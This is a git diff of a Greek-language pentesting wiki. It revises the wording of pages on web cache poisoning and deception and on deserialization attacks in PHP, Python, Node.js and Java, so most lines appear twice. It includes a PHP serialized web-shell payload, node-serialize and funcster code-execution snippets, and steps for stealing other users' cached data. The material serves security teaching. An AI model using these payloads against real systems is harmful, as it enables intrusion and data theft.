Οι caches συχνά περιλαμβάνουν συγκεκριμένες παραμέτρους GET στο κλειδί cache. Για παράδειγμα, το Varnish της Fastly αποθήκευε την παράμετρο `size` σε αιτήσεις. Ωστόσο, εάν μια URL-encoded έκδοση της παραμέτρου (π.χ. `siz%65`) αποσταλεί επίσης με λανθασμένη τιμή, το κλειδί cache θα κατασκευαστεί χρησιμοποιώντας την σωστή παράμετρο `size`. Ωστόσο, το backend θα επεξεργαστεί την τιμή στην URL-encoded παράμετρο. Η URL-encoding της δεύτερης παραμέτρου `size` οδήγησε στην παράλειψή της από την cache αλλά στη χρήση της από το backend. Η εκχώρηση μιας τιμής 0 σε αυτή την παράμετρο είχε ως αποτέλεσμα ένα cacheable 400 Bad Request error.
Οι caches συχνά περιλαμβάνουν συγκεκριμένες παραμέτρους GET στο κλειδί cache. Για παράδειγμα, το Varnish της Fastly αποθήκευε την παράμετρο `size` σε αιτήσεις. Ωστόσο, εάν μια URL-encoded έκδοση της παραμέτρου (π.χ. `siz%65`) αποστέλλεται επίσης με λανθασμένη τιμή, το κλειδί cache θα κατασκευαστεί χρησιμοποιώντας την σωστή παράμετρο `size`. Ωστόσο, το backend θα επεξεργαστεί την τιμή στην URL-encoded παράμετρο. Η URL-encoding της δεύτερης παραμέτρου `size` οδήγησε στην παράλειψή της από την cache αλλά στη χρήση της από το backend. Η εκχώρηση μιας τιμής 0 σε αυτή την παράμετρο είχε ως αποτέλεσμα ένα cacheable 400 Bad Request σφάλμα.
### User Agent Rules
Ορισμένοι προγραμματιστές αποκλείουν αιτήσεις με user-agents που ταιριάζουν με εκείνους εργαλείων υψηλής κυκλοφορίας όπως το FFUF ή το Nuclei για να διαχειριστούν το φορτίο του διακομιστή. Σαφώς, αυτή η προσέγγιση μπορεί να εισάγει ευπάθειες όπως η δηλητηρίαση cache και DoS.
Ορισμένοι προγραμματιστές αποκλείουν αιτήσεις με user-agents που ταιριάζουν με εκείνα εργαλείων υψηλής κυκλοφορίας όπως το FFUF ή το Nuclei για να διαχειριστούν το φορτίο του διακομιστή. Σαφώς, αυτή η προσέγγιση μπορεί να εισάγει ευπάθειες όπως η δηλητηρίαση cache και DoS.
### Illegal Header Fields
Το [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) καθορίζει τους αποδεκτούς χαρακτήρες στις κεφαλίδες. Οι κεφαλίδες που περιέχουν χαρακτήρες εκτός της καθορισμένης **tchar** περιοχής θα πρέπει ιδανικά να προκαλούν μια 400 Bad Request απάντηση. Στην πράξη, οι διακομιστές δεν τηρούν πάντα αυτό το πρότυπο. Ένα αξιοσημείωτο παράδειγμα είναι η Akamai, η οποία προωθεί κεφαλίδες με μη έγκυρους χαρακτήρες και αποθηκεύει οποιοδήποτε 400 σφάλμα, εφόσον η κεφαλίδα `cache-control` δεν είναι παρούσα. Ένα εκμεταλλεύσιμο μοτίβο εντοπίστηκε όπου η αποστολή μιας κεφαλίδας με έναν παράνομο χαρακτήρα, όπως το `\`, θα είχε ως αποτέλεσμα ένα cacheable 400 Bad Request error.
Το [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) καθορίζει τους αποδεκτούς χαρακτήρες στις κεφαλίδες. Οι κεφαλίδες που περιέχουν χαρακτήρες εκτός της καθορισμένης **tchar** περιοχής θα πρέπει ιδανικά να προκαλούν μια 400 Bad Request απάντηση. Στην πράξη, οι διακομιστές δεν τηρούν πάντα αυτό το πρότυπο. Ένα αξιοσημείωτο παράδειγμα είναι η Akamai, η οποία προωθεί κεφαλίδες με μη έγκυρους χαρακτήρες και αποθηκεύει οποιοδήποτε 400 σφάλμα, εφόσον η κεφαλίδα `cache-control` δεν είναι παρούσα. Ένα εκμεταλλεύσιμο μοτίβο εντοπίστηκε όπου η αποστολή μιας κεφαλίδας με έναν παράνομο χαρακτήρα, όπως το `\`, θα είχε ως αποτέλεσμα ένα cacheable 400 Bad Request σφάλμα.
### Finding new headers
@ -238,7 +238,7 @@ Defenses:
Ο στόχος της Cache Deception είναι να κάνει τους πελάτες **να φορτώνουν πόρους που πρόκειται να αποθηκευτούν από την cache με τις ευαίσθητες πληροφορίες τους**.
Πρώτα απ' όλα σημειώστε ότι οι **επέκταση** όπως `.css`, `.js`, `.png` κ.λπ. είναι συνήθως **ρυθμισμένες** να **αποθηκεύονται** στην **cache.** Επομένως, αν αποκτήσετε πρόσβαση στο `www.example.com/profile.php/nonexistent.js`, η cache θα αποθηκεύσει πιθανώς την απόκριση επειδή βλέπει την **επέκταση** `.js`. Αλλά, αν η **εφαρμογή** **αναπαράγει** με το **ευαίσθητο** περιεχόμενο χρήστη που αποθηκεύεται στο _www.example.com/profile.php_, μπορείτε να **κλέψετε** αυτά τα περιεχόμενα από άλλους χρήστες.
Πρώτα απ' όλα σημειώστε ότι οι **επέκταση** όπως `.css`, `.js`, `.png` κ.λπ. είναι συνήθως **ρυθμισμένες** να **αποθηκεύονται** στην **cache.** Επομένως, αν αποκτήσετε πρόσβαση στο `www.example.com/profile.php/nonexistent.js`, η cache θα αποθηκεύσει πιθανώς την απάντηση επειδή βλέπει την **επέκταση** `.js`. Αλλά, αν η **εφαρμογή** **αναπαράγει** με το **ευαίσθητο** περιεχόμενο χρήστη που αποθηκεύεται στο _www.example.com/profile.php_, μπορείτε να **κλέψετε** αυτά τα περιεχόμενα από άλλους χρήστες.
Άλλα πράγματα για δοκιμή:
@ -253,13 +253,13 @@ Defenses:
Στο παράδειγμα, εξηγείται ότι αν φορτώσετε μια ανύπαρκτη σελίδα όπως _http://www.example.com/home.php/non-existent.css_, το περιεχόμενο του _http://www.example.com/home.php_ (**με τις ευαίσθητες πληροφορίες του χρήστη**) θα επιστραφεί και ο διακομιστής cache θα αποθηκεύσει το αποτέλεσμα.\
Στη συνέχεια, ο **επιτιθέμενος** μπορεί να αποκτήσει πρόσβαση στο _http://www.example.com/home.php/non-existent.css_ στον δικό του περιηγητή και να παρατηρήσει τις **εμπιστευτικές πληροφορίες** των χρηστών που είχαν πρόσβαση πριν.
Σημειώστε ότι ο **cache proxy** θα πρέπει να είναι **ρυθμισμένος** να **αποθηκεύει** αρχεία **βάσει** της **επέκτασης** του αρχείου (_.css_) και όχι βάσει του content-type. Στο παράδειγμα _http://www.example.com/home.php/non-existent.css_ θα έχει έναν content-type `text/html` αντί για έναν mime type `text/css` (ο οποίος είναι ο αναμενόμενος για ένα _.css_ αρχείο).
Σημειώστε ότι ο **cache proxy** θα πρέπει να είναι **ρυθμισμένος** να **αποθηκεύει** αρχεία **βάσει** της **επέκτασης** του αρχείου (_.css_) και όχι βάσει του content-type. Στο παράδειγμα _http://www.example.com/home.php/non-existent.css_ θα έχει ένα `text/html` content-type αντί για ένα `text/css` mime type (το οποίο είναι το αναμενόμενο για ένα _.css_ αρχείο).
Μάθετε εδώ πώς να εκτελέσετε [Cache Deceptions επιθέσεις εκμεταλλευόμενοι το HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
## Automatic Tools
- [**toxicache**](https://github.com/xhzeem/toxicache): Σαρωτής Golang για να βρει ευπάθειες δηλητηρίασης web cache σε μια λίστα URL και να δοκιμάσει πολλές τεχνικές έγχυσης.
- [**toxicache**](https://github.com/xhzeem/toxicache): Σαρωτής Golang για να βρει ευπάθειες δηλητηρίασης web cache σε μια λίστα URL και να δοκιμάσει πολλές τεχνικές ένεσης.
## References

View File

@ -8,7 +8,7 @@
**Deserialization**, αντιθέτως, είναι η διαδικασία που αντενδρά στη serialization. Περιλαμβάνει τη λήψη δεδομένων που έχουν δομηθεί σε μια συγκεκριμένη μορφή και την ανακατασκευή τους πίσω σε ένα αντικείμενο.
Η deserialization μπορεί να είναι επικίνδυνη επειδή **επιτρέπει στους επιτιθέμενους να χειρίζονται τα serialized δεδομένα για να εκτελέσουν επιβλαβή κώδικα** ή να προκαλέσουν απροσδόκητη συμπεριφορά στην εφαρμογή κατά τη διάρκεια της διαδικασίας ανακατασκευής του αντικειμένου.
Η deserialization μπορεί να είναι επικίνδυνη επειδή δυνητικά **επιτρέπει στους επιτιθέμενους να χειριστούν τα serialized δεδομένα για να εκτελέσουν επιβλαβή κώδικα** ή να προκαλέσουν απροσδόκητη συμπεριφορά στην εφαρμογή κατά τη διάρκεια της διαδικασίας ανακατασκευής του αντικειμένου.
## PHP
@ -116,7 +116,7 @@ $o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
```
### Αποτροπή PHP Object Injection με `allowed_classes`
### Αποτροπή PHP Object Injection με το `allowed_classes`
> [!INFO]
> Η υποστήριξη για το **δεύτερο επιχείρημα** της `unserialize()` (τον πίνακα `$options`) προστέθηκε στην **PHP 7.0**. Σε παλαιότερες εκδόσεις, η συνάρτηση δέχεται μόνο τη σειριοποιημένη συμβολοσειρά, καθιστώντας αδύνατη την περιορισμένη δημιουργία κλάσεων.
@ -161,7 +161,7 @@ O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
```
Μόλις ο διαχειριστής είδε την καταχώρηση, το αντικείμενο δημιουργήθηκε και εκτελέστηκε το `SomeClass::__destruct()`, με αποτέλεσμα την εκτέλεση αυθαίρετου κώδικα.
**Σημειώσεις**
**Σημαντικά σημεία**
1. Πάντα να περνάτε `['allowed_classes' => false]` (ή μια αυστηρή λευκή λίστα) όταν καλείτε το `unserialize()`.
2. Ελέγξτε τις αμυντικές περιτυλίξεις συχνά ξεχνούν τους κληρονόμους PHP παλαιάς έκδοσης.
3. Η αναβάθμιση σε **PHP ≥ 7.x** από μόνη της *δεν είναι* επαρκής: η επιλογή πρέπει να παρέχεται ρητά.
@ -179,7 +179,6 @@ O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
Αν έχετε βρει ένα LFI που απλώς διαβάζει το αρχείο και δεν εκτελεί τον php κώδικα μέσα σε αυτό, για παράδειγμα χρησιμοποιώντας συναρτήσεις όπως _**file_get_contents(), fopen(), file() ή file_exists(), md5_file(), filemtime() ή filesize()**_**.** Μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια **deserialization** που συμβαίνει όταν **διαβάζετε** ένα **αρχείο** χρησιμοποιώντας το **phar** πρωτόκολλο.\
Για περισσότερες πληροφορίες διαβάστε την παρακάτω ανάρτηση:
{{#ref}}
../file-inclusion/phar-deserialization.md
{{#endref}}
@ -207,7 +206,7 @@ print(base64.b64encode(pickle.dumps(P())))
### Yaml **&** jsonpickle
Η παρακάτω σελίδα παρουσιάζει την τεχνική για **κατάχρηση μιας μη ασφαλούς αποσυμπίεσης σε yamls** βιβλιοθήκες python και τελειώνει με ένα εργαλείο που μπορεί να χρησιμοποιηθεί για να δημιουργήσει RCE deserialization payload για **Pickle, PyYAML, jsonpickle και ruamel.yaml**:
Η παρακάτω σελίδα παρουσιάζει την τεχνική για **κατάχρηση μιας μη ασφαλούς αποσυμπίεσης σε yamls** βιβλιοθήκες python και τελειώνει με ένα εργαλείο που μπορεί να χρησιμοποιηθεί για να δημιουργήσει RCE payload αποσυμπίεσης για **Pickle, PyYAML, jsonpickle και ruamel.yaml**:
{{#ref}}
python-yaml-deserialization.md
@ -224,9 +223,9 @@ python-yaml-deserialization.md
### JS Magic Functions
JS **δεν έχει "μαγικές" συναρτήσεις** όπως PHP ή Python που θα εκτελούνται μόνο και μόνο για να δημιουργήσουν ένα αντικείμενο. Αλλά έχει κάποιες **συναρτήσεις** που χρησιμοποιούνται **συχνά ακόμα και χωρίς να τις καλείτε άμεσα** όπως **`toString`**, **`valueOf`**, **`toJSON`**.\
Αν καταχραστείτε μια αποσυμπίεση μπορείτε να **συμβιβάσετε αυτές τις συναρτήσεις για να εκτελέσετε άλλο κώδικα** (πιθανώς καταχρώντας τις ρυπάνσεις πρωτοτύπου) και θα μπορούσατε να εκτελέσετε αυθαίρετο κώδικα όταν καλούνται.
Αν καταχραστείτε μια αποσυμπίεση μπορείτε να **συμβιβάσετε αυτές τις συναρτήσεις για να εκτελέσετε άλλο κώδικα** (πιθανώς καταχρώντας τις ρυπάνσεις πρωτοτύπου) μπορείτε να εκτελέσετε αυθαίρετο κώδικα όταν καλούνται.
Ένας άλλος **"μαγικός" τρόπος για να καλέσετε μια συνάρτηση** χωρίς να την καλέσετε άμεσα είναι με το **να συμβιβάσετε ένα αντικείμενο που επιστρέφεται από μια ασύγχρονη συνάρτηση** (υπόσχεση). Διότι, αν **μετασχηματίσετε** αυτό το **επιστρεφόμενο αντικείμενο** σε άλλη **υπόσχεση** με μια **ιδιότητα** που ονομάζεται **"then" τύπου συνάρτησης**, θα **εκτελείται** μόνο και μόνο επειδή επιστρέφεται από άλλη υπόσχεση. _Ακολουθήστε_ [_**αυτόν τον σύνδεσμο**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _για περισσότερες πληροφορίες._
Ένας άλλος **"μαγικός" τρόπος για να καλέσετε μια συνάρτηση** χωρίς να την καλέσετε άμεσα είναι με το **να συμβιβάσετε ένα αντικείμενο που επιστρέφεται από μια ασύγχρονη συνάρτηση** (υπόσχεση). Διότι, αν **μετατρέψετε** αυτό το **επιστρεφόμενο αντικείμενο** σε άλλη **υπόσχεση** με μια **ιδιότητα** που ονομάζεται **"then" τύπου συνάρτησης**, θα **εκτελείται** μόνο και μόνο επειδή επιστρέφεται από άλλη υπόσχεση. _Ακολουθήστε_ [_**αυτόν τον σύνδεσμο**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _για περισσότερες πληροφορίες._
```javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
@ -250,7 +249,7 @@ test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
```
### `__proto__` και `prototype` ρύπανση
### `__proto__` και ρύπανση `prototype`
Αν θέλετε να μάθετε για αυτή την τεχνική **ρίξτε μια ματιά στο παρακάτω tutorial**:
@ -289,7 +288,7 @@ console.log("Serialized: \n" + payload_serialized)
Όπως μπορείτε να δείτε στο τελευταίο κομμάτι κώδικα, **αν βρεθεί η σημαία** χρησιμοποιείται το `eval` για να αποσειριοποιήσει τη συνάρτηση, οπότε βασικά **η είσοδος του χρήστη χρησιμοποιείται μέσα στη συνάρτηση `eval`**.
Ωστόσο, **απλά σειριοποιώντας** μια συνάρτηση **δεν θα την εκτελέσει** καθώς θα ήταν απαραίτητο κάποιο μέρος του κώδικα να **καλεί το `y.rce`** στο παράδειγμά μας και αυτό είναι πολύ **απίθανο**.\
Ούτως ή άλλως, θα μπορούσατε απλά να **τροποποιήσετε το σειριοποιημένο αντικείμενο** **προσθέτοντας μερικές παρενθέσεις** ώστε να εκτελείται αυτόματα η σειριοποιημένη συνάρτηση όταν το αντικείμενο αποσειριοποιείται.\
Ούτως ή άλλως, θα μπορούσατε απλά να **τροποποιήσετε το σειριοποιημένο αντικείμενο** **προσθέτοντας μερικές παρενθέσεις** προκειμένου να εκτελείται αυτόματα η σειριοποιημένη συνάρτηση όταν το αντικείμενο αποσειριοποιείται.\
Στο επόμενο κομμάτι κώδικα **προσέξτε την τελευταία παρένθεση** και πώς η συνάρτηση `unserialize` θα εκτελέσει αυτόματα τον κώδικα:
```javascript
var serialize = require("node-serialize")
@ -309,9 +308,9 @@ serialize.unserialize(test)
### [funcster](https://www.npmjs.com/package/funcster)
Ένα αξιοσημείωτο χαρακτηριστικό του **funcster** είναι η μη προσβασιμότητα των **τυπικών ενσωματωμένων αντικειμένων**; βρίσκονται εκτός του προσβάσιμου πεδίου. Αυτή η περιοριστική πολιτική αποτρέπει την εκτέλεση κώδικα που προσπαθεί να καλέσει μεθόδους σε ενσωματωμένα αντικείμενα, οδηγώντας σε εξαιρέσεις όπως το `"ReferenceError: console is not defined"` όταν χρησιμοποιούνται εντολές όπως `console.log()` ή `require(something)`.
Ένα αξιοσημείωτο χαρακτηριστικό του **funcster** είναι η απροσβλητότητα των **τυπικών ενσωματωμένων αντικειμένων**; βρίσκονται εκτός του προσβάσιμου πεδίου. Αυτός ο περιορισμός αποτρέπει την εκτέλεση κώδικα που προσπαθεί να καλέσει μεθόδους σε ενσωματωμένα αντικείμενα, οδηγώντας σε εξαιρέσεις όπως το `"ReferenceError: console is not defined"` όταν χρησιμοποιούνται εντολές όπως `console.log()` ή `require(something)`.
Παρά αυτόν τον περιορισμό, είναι δυνατή η αποκατάσταση πλήρους πρόσβασης στο παγκόσμιο πλαίσιο, συμπεριλαμβανομένων όλων των τυπικών ενσωματωμένων αντικειμένων, μέσω μιας συγκεκριμένης προσέγγισης. Εκμεταλλευόμενοι άμεσα το παγκόσμιο πλαίσιο, μπορεί κανείς να παρακάμψει αυτόν τον περιορισμό. Για παράδειγμα, η πρόσβαση μπορεί να αποκατασταθεί χρησιμοποιώντας το παρακάτω απόσπασμα:
Παρά αυτόν τον περιορισμό, η αποκατάσταση πλήρους πρόσβασης στο παγκόσμιο πλαίσιο, συμπεριλαμβανομένων όλων των τυπικών ενσωματωμένων αντικειμένων, είναι δυνατή μέσω μιας συγκεκριμένης προσέγγισης. Εκμεταλλευόμενοι άμεσα το παγκόσμιο πλαίσιο, μπορεί κανείς να παρακάμψει αυτόν τον περιορισμό. Για παράδειγμα, η πρόσβαση μπορεί να αποκατασταθεί χρησιμοποιώντας το παρακάτω απόσπασμα:
```javascript
funcster = require("funcster")
//Serialization
@ -343,7 +342,7 @@ function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
```
Αν αυτή η συνάρτηση χρησιμοποιείται για να αποδομήσει αντικείμενα, μπορείτε να **εκμεταλλευτείτε εύκολα** αυτό:
Αν αυτή η συνάρτηση χρησιμοποιείται για να αποδομήσει αντικείμενα, μπορείτε να **εκμεταλλευτείτε εύκολα**:
```javascript
var serialize = require("serialize-javascript")
//Serialization
@ -392,18 +391,18 @@ deserialize(test)
Για δοκιμές black box, αναζητήστε συγκεκριμένες **υπογραφές ή "Magic Bytes"** που δηλώνουν java serialized objects (προερχόμενα από `ObjectInputStream`):
- Εξαδικό μοτίβο: `AC ED 00 05`.
- Μοτίβο Base64: `rO0`.
- Εξαδική μορφή: `AC ED 00 05`.
- Μορφή Base64: `rO0`.
- HTTP response headers με `Content-type` ρυθμισμένο σε `application/x-java-serialized-object`.
- Εξαδικό μοτίβο που υποδηλώνει προηγούμενη συμπίεση: `1F 8B 08 00`.
- Μοτίβο Base64 που υποδηλώνει προηγούμενη συμπίεση: `H4sIA`.
- Ιστοσελίδες με την επέκταση `.faces` και την παράμετρο `faces.ViewState`. Η ανακάλυψη αυτών των μοτίβων σε μια διαδικτυακή εφαρμογή θα πρέπει να προκαλέσει μια εξέταση όπως αναλύεται στην [ανάρτηση σχετικά με την Deserialization του Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md).
- Εξαδική μορφή που υποδηλώνει προηγούμενη συμπίεση: `1F 8B 08 00`.
- Μορφή Base64 που υποδηλώνει προηγούμενη συμπίεση: `H4sIA`.
- Ιστοσελίδες με την επέκταση `.faces` και την παράμετρο `faces.ViewState`. Η ανακάλυψη αυτών των προτύπων σε μια διαδικτυακή εφαρμογή θα πρέπει να προκαλέσει μια εξέταση όπως αναλύεται στην [ανάρτηση σχετικά με την Deserialization του Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md).
```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
```
### Έλεγχος αν είναι ευάλωτο
Αν θέλετε να **μάθετε πώς λειτουργεί μια εκμετάλλευση Java Deserialized** θα πρέπει να ρίξετε μια ματιά σε [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), και [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
Αν θέλετε να **μάθετε πώς λειτουργεί μια εκμετάλλευση Java Deserialized** θα πρέπει να ρίξετε μια ματιά στα [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), και [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
#### Δοκιμή White Box
@ -420,11 +419,11 @@ grep -R InvokeTransformer .
Χρησιμοποιώντας την επέκταση Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) μπορείτε να προσδιορίσετε **ποια βιβλιοθήκες είναι διαθέσιμες** (και ακόμη και τις εκδόσεις τους). Με αυτές τις πληροφορίες θα μπορούσε να είναι **ευκολότερο να επιλέξετε ένα payload** για να εκμεταλλευτείτε την ευπάθεια.\
[**Διαβάστε αυτό για να μάθετε περισσότερα για το GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
Το GadgetProbe επικεντρώνεται σε **`ObjectInputStream` deserializations**.
Το GadgetProbe επικεντρώνεται στις **`ObjectInputStream` deserializations**.
Χρησιμοποιώντας την επέκταση Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) μπορείτε να **εντοπίσετε ευάλωτες βιβλιοθήκες** που μπορούν να εκμεταλλευτούν με το ysoserial και να **τις εκμεταλλευτείτε**.\
[**Διαβάστε αυτό για να μάθετε περισσότερα για το Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Ο Java Deserialization Scanner επικεντρώνεται σε **`ObjectInputStream`** deserializations.
Ο Java Deserialization Scanner επικεντρώνεται στις **`ObjectInputStream`** deserializations.
Μπορείτε επίσης να χρησιμοποιήσετε [**Freddy**](https://github.com/nccgroup/freddy) για να **εντοπίσετε ευπάθειες deserialization** στο **Burp**. Αυτό το πρόσθετο θα ανιχνεύσει **όχι μόνο ευπάθειες σχετικές με το `ObjectInputStream`** αλλά **και** ευπάθειες από βιβλιοθήκες deserialization **Json** και **Yml**. Σε ενεργό λειτουργία, θα προσπαθήσει να τις επιβεβαιώσει χρησιμοποιώντας payloads sleep ή DNS.\
[**Μπορείτε να βρείτε περισσότερες πληροφορίες για το Freddy εδώ.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
@ -550,7 +549,7 @@ mvn clean package -DskipTests
- **HTTP requests**: Η serialization χρησιμοποιείται ευρέως στη διαχείριση παραμέτρων, ViewState, cookies, κ.λπ.
- **RMI (Remote Method Invocation)**: Το πρωτόκολλο Java RMI, το οποίο βασίζεται εξ ολοκλήρου στη serialization, είναι θεμέλιο για την απομακρυσμένη επικοινωνία σε εφαρμογές Java.
- **RMI over HTTP**: Αυτή η μέθοδος χρησιμοποιείται συνήθως από εφαρμογές ιστού Java-based thick client, χρησιμοποιώντας serialization για όλες τις επικοινωνίες αντικειμένων.
- **RMI over HTTP**: Αυτή η μέθοδος χρησιμοποιείται συνήθως από εφαρμογές ιστού Java που βασίζονται σε thick client, χρησιμοποιώντας serialization για όλες τις επικοινωνίες αντικειμένων.
- **JMX (Java Management Extensions)**: Το JMX χρησιμοποιεί serialization για τη μετάδοση αντικειμένων μέσω του δικτύου.
- **Custom Protocols**: Στην Java, η τυπική πρακτική περιλαμβάνει τη μετάδοση ακατέργαστων αντικειμένων Java, κάτι που θα αποδειχθεί σε επερχόμενα παραδείγματα εκμετάλλευσης.
@ -623,7 +622,7 @@ return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
```
**Εκμετάλλευση Εξωτερικών Βιβλιοθηκών για Βελτιωμένη Ασφάλεια**: Βιβλιοθήκες όπως **NotSoSerial**, **jdeserialize** και **Kryo** προσφέρουν προηγμένα χαρακτηριστικά για τον έλεγχο και την παρακολούθηση της αποσυμπίεσης Java. Αυτές οι βιβλιοθήκες μπορούν να παρέχουν επιπλέον επίπεδα ασφάλειας, όπως η λευκή ή μαύρη λίστα κλάσεων, η ανάλυση σειριοποιημένων αντικειμένων πριν από την αποσυμπίεση και η εφαρμογή προσαρμοσμένων στρατηγικών σειριοποίησης.
**Αξιοποίηση Εξωτερικών Βιβλιοθηκών για Βελτιωμένη Ασφάλεια**: Βιβλιοθήκες όπως οι **NotSoSerial**, **jdeserialize** και **Kryo** προσφέρουν προηγμένα χαρακτηριστικά για τον έλεγχο και την παρακολούθηση της αποσυμπίεσης Java. Αυτές οι βιβλιοθήκες μπορούν να παρέχουν επιπλέον επίπεδα ασφάλειας, όπως η λευκή ή μαύρη λίστα κλάσεων, η ανάλυση σειριοποιημένων αντικειμένων πριν από την αποσυμπίεση και η εφαρμογή προσαρμοσμένων στρατηγικών σειριοποίησης.
- **NotSoSerial** παρεμβαίνει στις διαδικασίες αποσυμπίεσης για να αποτρέψει την εκτέλεση μη αξιόπιστου κώδικα.
- **jdeserialize** επιτρέπει την ανάλυση σειριοποιημένων αντικειμένων Java χωρίς να τα αποσυμπιέσει, βοηθώντας στην αναγνώριση δυνητικά κακόβουλου περιεχομένου.
@ -632,15 +631,15 @@ ObjectInputFilter.Config.setSerialFilter(filter);
### Αναφορές
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
- Deserialization and ysoserial talk: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
- Deserialization και ysoserial ομιλία: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
- Talk about gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) and slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
- Marshalsec paper: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
- Ομιλία για gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) και διαφάνειες: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
- Marshalsec έγγραφο: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
- Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- Java και .Net JSON deserialization **έγγραφο:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** ομιλία: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) και διαφάνειες: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- Deserialziations CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
## JNDI Injection & log4Shell
@ -657,7 +656,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
### Προϊόντα
Υπάρχουν αρκετά προϊόντα που χρησιμοποιούν αυτό το middleware για να στείλουν μηνύματα:
Υπάρχουν αρκετά προϊόντα που χρησιμοποιούν αυτό το middleware για να στέλνουν μηνύματα:
![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../images/image (314).png>)
@ -665,7 +664,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
### Εκμετάλλευση
